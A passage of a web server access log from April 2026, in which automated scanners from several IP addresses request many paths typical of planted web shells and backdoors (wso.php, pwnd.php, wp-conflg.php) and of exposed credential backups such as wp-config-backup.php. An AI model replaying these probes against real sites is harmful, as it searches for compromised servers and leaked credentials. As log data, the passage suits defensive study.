/database/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:57 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:59 +0300] "GET /wp-content/plugins/adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:04 +0300] "GET /wp-content/themes/content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:08 +0300] "GET /ws63.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:10 +0300] "GET /wp-includesxc/js/imgareaselect/zo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:14 +0300] "GET /wp-content/themes/astra/inc/builder/type/header/above-header/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:18 +0300] "GET /wp-content/themes/astra/assets/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:21 +0300] "GET /wp-admin/css/colors/light/wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:24 +0300] "GET /wp-admin/css/colors/modern/test2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:27 +0300] "GET /wp-content/plugins/wp2epub/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:32 +0300] "GET /wp-content/plugins_old1/insert-headers-and-footers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:37 +0300] "GET /wp-includes/sc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:42 +0300] "GET /wp-admin/js/widgets/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:47 +0300] "GET /wp-content/uploads/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:50 +0300] "GET /wp-content/wp-at.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:55 +0300] "GET /wp-includes/Requests/library/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:21:58 +0300] "GET /wp-includes/customize/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:03 +0300] "GET /wp-includes/block-supports/100.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:07 +0300] "GET /wp-admin/css/colors/blue/dx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:09 +0300] "GET /wp-admin/maint/src/xth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:13 +0300] "GET /wp-admin/css/colors/sunrise/modules/docs/dist/resources/qnl/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:15 +0300] "GET /wp-includes/block-supports/includes/src/content/ixp/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:19 +0300] "GET /wp-includes/sodium_compat/src/js/includes/pwm/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:23 +0300] "GET /wp-content/themes/twentytwentyfour/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:23 +0300] "GET /wp-content/themes/Divi/core/code-snippets/post/type/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:28 +0300] "GET /wp-content/themes/Divi/epanel/build/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:33 +0300] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/skins/lightgray/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:37 +0300] "GET /file-mancvgertdxz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:40 +0300] "GET /scanner3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:42 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:46 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:49 +0300] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:54 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:22:58 +0300] "GET /wp-admin/user/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:01 +0300] "GET /wp-admin/css/colors/blue/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:03 +0300] "GET /wp-admin/maint/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:06 +0300] "GET /wp-admin/network/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:09 +0300] "GET /wp-includes/interactivity-api/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:13 +0300] "GET /wp-includes/block-bindings/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:16 +0300] "GET /wp-includes/certificates/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:19 +0300] "GET /wp-includes/ID3/interactivity-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:22 +0300] "GET /wp-content/tmp-old/plugins-old-old/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:24 +0300] "GET /wp-content/plugins/elementor/lndex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:28 +0300] "GET /wp-content/plugins.nulled/metform/user/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:32 +0300] "GET /wp-includes/theme-compat/sidebar-schema.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:37 +0300] "GET /wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor-loop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:41 +0300] "GET /wp-includes/ID3/module.audio.flac-restful.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:46 +0300] "GET /wp-includes/link-template-edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:49 +0300] "GET /wp-includes/customize/class-wp-customize-new-menu-section-schema.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:52 +0300] "GET /wp-includes/class-wp-theme-json-resolver-sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.238.36.81 - - [11/Apr/2026:15:58:26 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:44 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:47 +0300] "GET /admin-filters.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:33 +0300] "GET /wp-demomav.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:39 +0300] "GET /itil.php HTTP/1.1" 301 795 "-" "-" 43.133.253.253 - - [11/Apr/2026:16:31:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.203.23.105 - - [11/Apr/2026:16:23:55 +0300] "GET /wp-includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:23:58 +0300] "GET /wp-includes/robots-template-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:00 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-variable.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:05 +0300] "GET /wp-includes/class-wp-customize-section-less.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:11 +0300] "GET /wp-includes/blocks/comments-less.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:14 +0300] "GET /wp-includes/class-wpdb-query.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:18 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-restful.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:20 +0300] "GET /wp-admin/menu-sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:24 +0300] "GET /wp-admin/network/index-request.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:28 +0300] "GET /wp-admin/themes-security.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:32 +0300] "GET /wp-admin/includes/network-url.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:35 +0300] "GET /wp-content/themes/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:38 +0300] "GET /wp-content/plugins/app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:40 +0300] "GET /wp-content/themes/twentytwentythree/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:40 +0300] "GET /wp-content/themes/twentytwentyfive/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:41 +0300] "GET /wp-admin/network/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:44 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:45 +0300] "GET /wp-admin/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:49 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:49 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:50 +0300] "GET /wp-content/plugins/wordpress-seo/css/dist/admin-global-350-rtl.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:54 +0300] "GET /wp-includes/css/dist/block-directory/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:24:57 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 212.47.78.22 - - [11/Apr/2026:15:49:51 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.238.36.81 - - [11/Apr/2026:15:58:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:53 +0300] "GET /new2.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [11/Apr/2026:15:58:58 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:38 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:40 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:41 +0300] "GET /wp HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:46 +0300] "GET /blog HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:49 +0300] "GET /new HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:54 +0300] "GET /old HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:57 +0300] "GET /newsite HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:07 +0300] "GET /test HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:22 +0300] "GET /main HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:30 +0300] "GET /testing HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:35 +0300] "GET /site HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:40 +0300] "GET /backup HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:44 +0300] "GET /demo HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:23 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:17:59:23 +0300] "GET /wordpress HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:47 +0300] "GET /home HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:00:56 +0300] "GET /tmp HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:01:06 +0300] "GET /dev HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:01:09 +0300] "GET /cms HTTP/1.1" 301 795 "-" "-" 43.158.91.71 - - [11/Apr/2026:17:20:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.32.126.212 - - [11/Apr/2026:18:01:14 +0300] "GET /portal HTTP/1.1" 301 795 "-" "-" 193.32.126.212 - - [11/Apr/2026:18:01:17 +0300] "GET /web HTTP/1.1" 301 795 "-" "-" 115.45.43.182 - - [11/Apr/2026:20:50:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3526.148 Safari/537.36 LBBROWSER" 79.127.185.10 - - [11/Apr/2026:21:28:51 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:51 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:52 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:28:52 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:52 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:52 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:57 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:57 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 79.127.185.10 - - [11/Apr/2026:21:28:57 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 79.127.185.10 - - [11/Apr/2026:21:28:58 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:58 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:01 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:01 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 79.127.185.10 - - [11/Apr/2026:21:29:02 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:02 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:03 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:04 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:04 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:48 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:50 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:50 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:50 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:28:53 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:53 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 79.127.185.10 - - [11/Apr/2026:21:28:54 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:28:54 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:00 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 79.127.185.10 - - [11/Apr/2026:21:29:01 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:29:01 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:01 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 79.127.185.10 - - [11/Apr/2026:21:29:05 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 79.127.185.10 - - [11/Apr/2026:21:29:05 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:05 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:07 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 79.127.185.10 - - [11/Apr/2026:21:29:08 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 79.127.185.10 - - [11/Apr/2026:21:29:08 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:08 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:09 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:29 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 182.42.105.144 - - [11/Apr/2026:19:53:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.60.130.228 - - [11/Apr/2026:19:55:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" 79.127.185.10 - - [11/Apr/2026:21:28:49 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:49 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:50 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:58 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:58 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:29:03 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:05 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:10 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:10 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 79.127.185.10 - - [11/Apr/2026:21:29:14 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 